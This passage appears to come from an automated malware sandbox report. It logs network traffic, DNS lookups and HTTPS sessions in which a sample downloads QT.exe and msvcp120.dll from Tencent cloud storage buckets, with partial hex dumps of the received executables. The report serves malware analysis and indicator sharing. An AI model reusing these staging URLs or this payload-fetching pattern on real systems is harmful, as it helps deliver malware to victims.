Jul 25, 2024 15:13:50.156594992 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.158700943 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.158767939 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.158777952 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.158869028 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.160929918 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.161004066 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.161010981 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.161051989 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.163779974 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.163819075 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.163851976 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.163858891 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.163876057 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:50.163886070 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.163899899 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.163933992 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.164206982 CEST	49713	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:50.164222956 CEST	443	49713	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:53.567192078 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:53.567229986 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:53.567327976 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:53.567666054 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:53.567687035 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:54.947529078 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:54.947767973 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:54.948352098 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:54.948431015 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:54.963768959 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:54.963789940 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:54.964063883 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:54.964131117 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:54.964699030 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.012501955 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.485939026 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.485965014 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.486144066 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.486172915 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.486215115 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.580127001 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.580163002 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.580375910 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.580401897 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.580456972 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.580771923 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.580944061 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.580948114 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.581000090 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.581531048 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.581619978 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.581623077 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.581669092 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.582037926 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.582053900 CEST	443	49717	43.153.232.151	192.168.2.8
Jul 25, 2024 15:13:55.582067966 CEST	49717	443	192.168.2.8	43.153.232.151
Jul 25, 2024 15:13:55.582113981 CEST	49717	443	192.168.2.8	43.153.232.151

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 15:13:32.275284052 CEST	57853	53	192.168.2.8	1.1.1.1
Jul 25, 2024 15:13:32.652466059 CEST	53	57853	1.1.1.1	192.168.2.8
Jul 25, 2024 15:13:47.389525890 CEST	51235	53	192.168.2.8	1.1.1.1
Jul 25, 2024 15:13:47.705123901 CEST	53	51235	1.1.1.1	192.168.2.8
Jul 25, 2024 15:13:53.242140055 CEST	61966	53	192.168.2.8	1.1.1.1
Jul 25, 2024 15:13:53.565793037 CEST	53	61966	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 15:13:32.275284052 CEST	192.168.2.8	1.1.1.1	0xd2b	Standard query (0)	wwwdll-1323570959.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:47.389525890 CEST	192.168.2.8	1.1.1.1	0xb1d5	Standard query (0)	www151-1323570959.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:53.242140055 CEST	192.168.2.8	1.1.1.1	0xf3eb	Standard query (0)	wwwqd-1324142869.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 15:13:32.652466059 CEST	1.1.1.1	192.168.2.8	0xd2b	No error (0)	wwwdll-1323570959.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 25, 2024 15:13:32.652466059 CEST	1.1.1.1	192.168.2.8	0xd2b	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:32.652466059 CEST	1.1.1.1	192.168.2.8	0xd2b	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:32.652466059 CEST	1.1.1.1	192.168.2.8	0xd2b	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:32.652466059 CEST	1.1.1.1	192.168.2.8	0xd2b	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:47.705123901 CEST	1.1.1.1	192.168.2.8	0xb1d5	No error (0)	www151-1323570959.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 25, 2024 15:13:47.705123901 CEST	1.1.1.1	192.168.2.8	0xb1d5	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:47.705123901 CEST	1.1.1.1	192.168.2.8	0xb1d5	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:47.705123901 CEST	1.1.1.1	192.168.2.8	0xb1d5	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:47.705123901 CEST	1.1.1.1	192.168.2.8	0xb1d5	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:53.565793037 CEST	1.1.1.1	192.168.2.8	0xf3eb	No error (0)	wwwqd-1324142869.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 25, 2024 15:13:53.565793037 CEST	1.1.1.1	192.168.2.8	0xf3eb	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:53.565793037 CEST	1.1.1.1	192.168.2.8	0xf3eb	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:53.565793037 CEST	1.1.1.1	192.168.2.8	0xf3eb	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jul 25, 2024 15:13:53.565793037 CEST	1.1.1.1	192.168.2.8	0xf3eb	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wwwdll-1323570959.cos.ap-singapore.myqcloud.com

www151-1323570959.cos.ap-singapore.myqcloud.com

wwwqd-1324142869.cos.ap-singapore.myqcloud.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	43.152.64.207	443	5056	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 13:13:34 UTC	129	OUT	GET /QT.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.com Cache-Control: no-cache
2024-07-25 13:13:35 UTC	472	IN	HTTP/1.1 200 OK Content-Type: application/x-msdownload Content-Length: 58616 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 25 Jul 2024 13:13:34 GMT ETag: "b677b668b57c1f8840397c23854a296f" Last-Modified: Mon, 18 Mar 2024 05:14:54 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 13357077453282085158 x-cos-request-id: NjZhMjRmN2VfYTExNTc5MWVfMjgzYjlfNjYwNzBj x-cos-server-side-encryption: AES256
2024-07-25 13:13:35 UTC	7732	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3b bf 87 33 7f de e9 60 7f de e9 60 7f de e9 60 e1 7e 2e 60 7e de e9 60 72 8c 36 60 7d de e9 60 72 8c 09 60 6c de e9 60 72 8c 08 60 7b de e9 60 72 8c 34 60 7b de e9 60 ca 40 34 60 7d de e9 60 76 a6 7a 60 7a de e9 60 7f de e8 60 34 de e9 60 ca 40 08 60 7d de e9 60 72 8c 32 60 7e de e9 60 7f de 7e 60 7d de e9 60 ca 40 37 60 7e de e9 60 52 69 63 68 7f de e9 60 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$;3```~.`~`r6`}`r`l`r`{`r4`{`@4`}`vz`z``4`@`}`r2`~`~`}`@7`~`Rich`
2024-07-25 13:13:35 UTC	8184	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-07-25 13:13:35 UTC	8184	IN	Data Raw: 58 88 db 04 1e ac 98 c8 a5 cf 1e 01 a0 72 e2 54 d7 76 16 9f 32 70 28 04 b6 1b 94 4d e0 79 e1 a2 2b f3 21 b4 3b 0b 28 a3 86 27 05 20 c6 2f 1e ec 74 78 ee 9f 97 5a 59 87 2d b1 ca 7d 65 79 78 cc 25 5e 27 d7 f9 21 41 da 11 0c 75 4c ef 44 30 0d 3a 11 da 90 a8 06 24 22 3d 9e d2 e6 a6 58 40 82 19 8e ca 0d d2 42 09 4f 26 4e 99 2f ec e7 9c 51 4e 9a e3 ae 91 bc fa fc d1 15 00 08 d5 42 5d bf e8 c0 84 10 ee 41 10 e1 6d 13 d7 8d 0a 2f 42 78 69 c7 e2 39 e0 9b e4 95 bf 6a f8 3b aa 01 43 fb 47 25 61 a4 0e 41 2c ca e9 ae 76 c7 a8 45 23 27 f7 01 86 9d 1f ac 86 3f b2 0e 46 06 4a 88 30 d6 d4 be 15 b1 35 8e 48 e5 21 1a 07 b4 e3 1f 31 1b fe 80 89 29 1d 16 1e da 6a 65 6e 1a 78 4e c0 27 cf 7f 89 ec 77 90 97 08 5f a3 38 84 39 c0 01 0e 70 80 fd 89 7f 00 59 a2 5b a4 00 00 33 65 f6 Data Ascii: XrTv2p(My+!;(' /txZY-}eyx%^'!AuLD0:$"=X@BO&N/QNB]Am/Bxi9j;CG%aA,vE#'?FJ05H!1)jenxN'w_89pY[3e
2024-07-25 13:13:35 UTC	8184	IN	Data Raw: 10 1c 83 00 1f 97 01 32 c0 81 f0 e3 b7 7d d7 d5 f2 e5 34 bc 2a 00 40 0f 79 a4 3d 89 06 25 40 1d e8 bb ae e2 ab 0b 10 2d 06 73 d5 d5 26 a2 d4 c0 da 3e dc 2a 57 fb fa cb 38 12 fe d7 49 f8 bd 9e 7c ed 5d 01 60 b4 e4 d9 55 6d 9c ad 0e 9c 85 7f 63 37 7b 18 3a 6a 73 04 f3 81 5b b8 87 78 78 d7 23 3e d0 9e ed 2f c3 fd 71 a0 7d 9f 79 78 57 00 80 b4 ed 0e 69 5b 8d 3d d5 8f 41 1a f7 88 2c 81 6f bb 3e 64 b4 4c 29 86 dc 94 c1 87 4c 84 1e 97 8f d1 be 80 0f f5 c4 bc 91 ba f0 fb 5a f6 3b 4b 10 0a 80 d7 d3 47 0e 7d e6 6d ea 68 af 39 ba d7 4c 78 ae 20 a7 b7 f9 aa b9 09 7c e0 e5 00 29 e3 7c 8f 82 80 dd b5 5b d2 69 bd a7 c1 73 1a 2d 1f d6 e8 59 82 50 00 c0 a1 2b 50 00 2b 60 87 cc 30 f5 cc ab 55 61 85 d0 a2 4e d8 a2 4e 82 bd e6 18 89 62 b7 12 b0 6c 07 e5 8e 8d 54 23 16 f8 60 Data Ascii: 2}4@y=%@-s&>W8I\|]`Umc7{:js[xx#>/q}yxWi[=A,o>dL)LZ;KG}mh9Lx \|)\|[is-YP+P+`0UaNNblT#`
2024-07-25 13:13:35 UTC	8184	IN	Data Raw: 33 33 33 ff 33 33 33 ff 33 33 33 6f 00 00 00 00 00 00 00 00 30 30 30 10 32 32 32 70 32 32 32 c0 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 32 32 32 c0 32 32 32 70 30 30 30 10 00 00 00 00 00 00 00 00 33 33 33 6f 33 33 33 ff 33 33 33 ff 32 32 32 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 32 32 60 33 33 33 ff 33 33 33 ff 32 32 32 80 00 00 00 00 00 00 00 00 30 30 30 30 33 33 33 f0 33 33 33 ff 2f 2f 3f ff 1f 1f 7f ff 1f 1f 7f ff 33 33 33 ff 33 33 33 ff 26 26 66 ff 26 26 66 ff 26 26 66 ff 2f 2f 3f ff 33 33 33 f0 30 30 30 30 00 00 00 00 00 00 00 00 32 32 32 80 33 33 33 ff 33 33 33 ff 32 32 32 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 32 32 d0 33 33 33 Data Ascii: 333333333o000222p222333333333333333333222222p000333o333333222222`3333332220000333333//?333333&&f&&f&&f//?3330000222333333222`222333
2024-07-25 13:13:35 UTC	16368	IN	Data Raw: 33 33 33 ff 33 33 33 ff 30 30 30 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 32 32 70 33 33 33 ff 33 33 33 ff 33 33 33 ff 32 32 32 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 32 32 70 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 09 09 d9 ff 0c 0c cc ff 33 33 33 ff 33 33 33 ff 1c 1c 8c ff 03 03 f3 ff 29 29 59 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 33 33 33 ff 32 32 32 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 32 32 70 33 33 33 ff 33 33 33 ff 33 33 33 ff 32 32 32 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 32 32 c0 33 33 33 ff 33 33 33 ff 33 33 33 ff 30 30 30 Data Ascii: 333333000 222p333333333222`222p333333333333333333333333333333))Y333333333333333222p222p333333333222p222333333333000
2024-07-25 13:13:35 UTC	1780	IN	Data Raw: e8 98 81 a9 75 c0 0e df d0 68 94 79 a1 a0 9e 8e b6 b7 42 66 cb d9 d9 6b 2f 4d d8 de 3e 32 1e 20 e4 ec 9c 4d 42 8d 9d c7 33 99 82 37 44 d4 26 29 26 40 8e 78 2f b9 ee fa 2f f1 f1 8f fe 50 b8 78 dd 14 96 de 1c 0e 70 b0 2a 85 6a b1 6c 68 e9 2a e4 10 2b 6e 21 fd d3 7c 9d 37 e4 2a 06 d6 c3 f1 d7 68 e3 4f 07 79 81 08 13 fe b2 64 5e e9 b1 3c e6 d0 78 23 b2 09 2c e2 26 62 bf 3b a9 97 51 cc c7 44 32 81 b2 af cf df 31 82 06 61 30 82 06 5d 02 01 01 30 68 30 54 31 0b 30 09 06 03 55 04 06 13 02 47 42 31 18 30 16 06 03 55 04 0a 13 0f 53 65 63 74 69 67 6f 20 4c 69 6d 69 74 65 64 31 2b 30 29 06 03 55 04 03 13 22 53 65 63 74 69 67 6f 20 50 75 62 6c 69 63 20 43 6f 64 65 20 53 69 67 6e 69 6e 67 20 43 41 20 52 33 36 02 10 6a 51 dd a9 2d 8d dd 77 01 0d 9c 9e 78 8b ca 0a 30 0d Data Ascii: uhyBfk/M>2 MB37D&)&@x//Pxpjlh+n!\|7*hOyd^<x#,&b;QD21a0]0h0T10UGB10USectigo Limited1+0)U"Sectigo Public Code Signing CA R36jQ-wx0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	43.152.64.207	443	5056	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 13:13:37 UTC	135	OUT	GET /msvcp120.dll HTTP/1.1 User-Agent: Mozilla/5.0 Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.com Cache-Control: no-cache
2024-07-25 13:13:37 UTC	472	IN	HTTP/1.1 200 OK Content-Type: application/x-msdownload Content-Length: 455328 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 25 Jul 2024 13:13:37 GMT ETag: "fd5cabbe52272bd76007b68186ebaf00" Last-Modified: Mon, 18 Mar 2024 00:32:34 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 9055190654433826812 x-cos-request-id: NjZhMjRmODFfNjFlYzE1MGJfMWY4ZDZfNjU3NDc0 x-cos-server-side-encryption: AES256
2024-07-25 13:13:37 UTC	7732	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6f ad d2 1d 2b cc bc 4e 2b cc bc 4e 2b cc bc 4e f6 33 77 4e 29 cc bc 4e 2b cc bd 4e f0 cc bc 4e 6d 9d 61 4e 28 cc bc 4e 6d 9d 63 4e 23 cc bc 4e 6d 9d 5d 4e 18 cc bc 4e 6d 9d 5c 4e 65 cc bc 4e 6d 9d 59 4e 2d cc bc 4e 6d 9d 60 4e 2a cc bc 4e 6d 9d 67 4e 2a cc bc 4e 6d 9d 62 4e 2a cc bc 4e 52 69 63 68 2b cc bc 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$o+N+N+N3wN)N+NNmaN(NmcN#Nm]NNm\NeNmYN-Nm`NNmgNNmbN*NRich+N
2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 73 20 64 65 76 69 63 65 20 6c 69 6e 6b 00 00 00 6f 70 65 72 61 74 69 6f 6e 20 63 61 6e 63 65 6c 65 64 00 00 74 6f 6f 20 6d 61 6e 79 20 66 69 6c 65 73 20 6f 70 65 6e 00 70 65 72 6d 69 73 73 69 6f 6e 5f 64 65 6e 69 65 64 00 00 00 61 64 64 72 65 73 73 5f 69 6e 5f 75 73 65 00 00 61 64 64 72 65 73 73 5f 6e 6f 74 5f 61 76 61 69 6c 61 62 6c 65 00 00 00 61 64 64 72 65 73 73 5f 66 61 6d 69 6c 79 5f 6e 6f 74 5f 73 75 70 70 6f 72 74 65 64 00 00 00 00 63 6f 6e 6e 65 63 74 69 6f 6e 5f 61 6c 72 65 61 64 79 5f 69 6e 5f 70 72 6f 67 72 65 73 73 00 00 62 61 64 5f 66 69 6c 65 5f 64 65 73 63 72 69 70 74 6f 72 00 63 6f 6e 6e 65 63 74 69 6f 6e 5f 61 62 6f 72 74 65 64 00 00 63 6f 6e 6e 65 63 74 69 6f 6e 5f 72 65 66 75 73 65 64 00 00 63 6f 6e 6e 65 63 74 69 6f 6e 5f 72 65 73 65 Data Ascii: s device linkoperation canceledtoo many files openpermission_deniedaddress_in_useaddress_not_availableaddress_family_not_supportedconnection_already_in_progressbad_file_descriptorconnection_abortedconnection_refusedconnection_rese
2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 2e ae 6e ee 1e 9e 5e de 3e be 7e fe 01 81 41 c1 21 a1 61 e1 11 91 51 d1 31 b1 71 f1 09 89 49 c9 29 a9 69 e9 19 99 59 d9 39 b9 79 f9 05 85 45 c5 25 a5 65 e5 15 95 55 d5 35 b5 75 f5 0d 8d 4d cd 2d ad 6d ed 1d 9d 5d dd 3d bd 7d fd 03 83 43 c3 23 a3 63 e3 13 93 53 d3 33 b3 73 f3 0b 8b 4b cb 2b ab 6b eb 1b 9b 5b db 3b bb 7b fb 07 87 47 c7 27 a7 67 e7 17 97 57 d7 37 b7 77 f7 0f 8f 4f cf 2f af 6f ef 1f 9f 5f df 3f bf 7f ff 84 7c 00 10 00 b2 03 10 00 b2 03 10 00 b2 03 10 a1 11 01 10 00 b2 03 10 00 b2 03 10 49 6e 64 65 78 20 6f 75 74 20 6f 66 20 72 61 6e 67 65 00 00 49 6e 64 65 78 20 6f 75 74 20 6f 66 20 73 65 67 6d 65 6e 74 73 20 74 61 62 6c 65 20 72 61 6e 67 65 00 00 00 49 6e 64 65 78 20 69 73 20 69 6e 73 69 64 65 20 73 65 67 6d 65 6e 74 20 77 68 69 63 68 20 66 Data Ascii: .n^>~A!aQ1qI)iY9yE%eU5uM-m]=}C#cS3sK+k[;{G'gW7wO/o_?\|Index out of rangeIndex out of segments table rangeIndex is inside segment which f
2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 00 00 00 00 00 00 00 00 01 00 00 00 94 6f 00 10 d0 50 06 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 cc 69 00 10 b8 4d 06 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 20 6c 00 10 00 00 00 00 e0 00 00 00 00 00 00 00 78 4c 06 10 dc 6a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 51 06 10 9c 6e 00 10 70 71 00 10 d8 64 00 10 a0 75 00 10 00 00 00 00 78 5a 06 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 cc 6c 00 10 58 49 06 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 a8 70 00 10 00 00 00 00 01 00 00 00 04 00 00 00 ac 71 00 10 30 48 06 10 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 00 6a 00 10 88 41 06 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 40 68 00 Data Ascii: oP@iM@ lxLjQnpqduxZ@lXI@pq0H@jA@@h
2024-07-25 13:13:37 UTC	16368	IN	Data Raw: 00 ff 15 0c 92 06 10 83 c4 14 89 5d f0 85 f6 74 06 8d 9f f0 00 00 00 8d 55 f0 8b cb e8 c5 46 00 00 8b c7 e8 fc 28 03 00 c2 04 00 6a 04 b8 7d be 03 10 e8 1f 29 03 00 8b f1 89 75 f0 c7 06 9c 3f 00 10 83 65 fc 00 8b c6 99 52 50 6a 03 ff 15 0c 92 06 10 83 4d fc ff 8d 4e 08 83 c4 0c e8 5a 09 00 00 e8 bd 28 03 00 c3 8d 41 08 c3 51 6a 00 83 c1 08 83 ca ff e8 f4 40 00 00 59 59 c3 55 8b ec 83 e4 f8 51 53 56 8b f1 83 ca ff 57 33 ff 57 8d 5e 08 8b cb e8 d5 40 00 00 59 85 c0 74 04 32 c0 eb 71 33 c0 8d 8e 60 01 00 00 33 d2 40 f0 0f b1 11 85 c0 74 e9 8b c6 99 52 50 6a 04 ff 15 0c 92 06 10 83 c4 0c c7 44 24 0c 01 00 00 00 85 db 74 06 8d be f0 00 00 00 8d 54 24 0c 8b cf e8 04 46 00 00 8b 8e 6c 01 00 00 56 68 40 91 00 10 85 c9 74 06 8b 01 ff 10 eb 19 8b 8e 68 01 00 00 85 Data Ascii: ]tUF(j})u?eRPjMNZ(AQj@YYUQSVW3W^@Yt2q3`3@tRPjD$tT$FlVh@th
2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 89 7e 58 e8 9c e9 ff ff 89 7e 5c 83 4d fc ff 8b 4d e8 85 c9 74 14 8b 11 8d 45 d8 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 89 7d e8 85 f6 74 06 8d be e0 00 00 00 89 be 30 01 00 00 e8 09 e9 02 00 c2 08 00 55 8b ec 56 8b f1 e8 c0 00 00 00 f6 45 08 01 74 08 56 ff 15 2c 93 06 10 59 8b c6 5e 5d c2 04 00 55 8b ec f6 45 08 01 56 8b f1 c7 06 78 43 00 10 74 08 56 ff 15 2c 93 06 10 59 8b c6 5e 5d c2 04 00 55 8b ec f6 45 08 01 56 8b f1 c7 06 d4 3f 00 10 74 08 56 ff 15 2c 93 06 10 59 8b c6 5e 5d c2 04 00 55 8b ec 56 8b f1 e8 15 00 00 00 f6 45 08 01 74 08 56 ff 15 2c 93 06 10 59 8b c6 5e 5d c2 04 00 6a 04 b8 80 c8 03 10 e8 96 e8 02 00 8b f1 89 75 f0 c7 06 38 42 00 10 83 65 fc 00 eb 0d 6a 00 8b ce e8 87 4a 00 00 84 c0 74 0b 8b ce e8 d8 4a 00 00 84 c0 74 e8 8b ce e8 f0 4a 00 Data Ascii: ~X~\MMtE;PR}t0UVEtV,Y^]UEVxCtV,Y^]UEV?tV,Y^]UVEtV,Y^]ju8BejJtJtJ
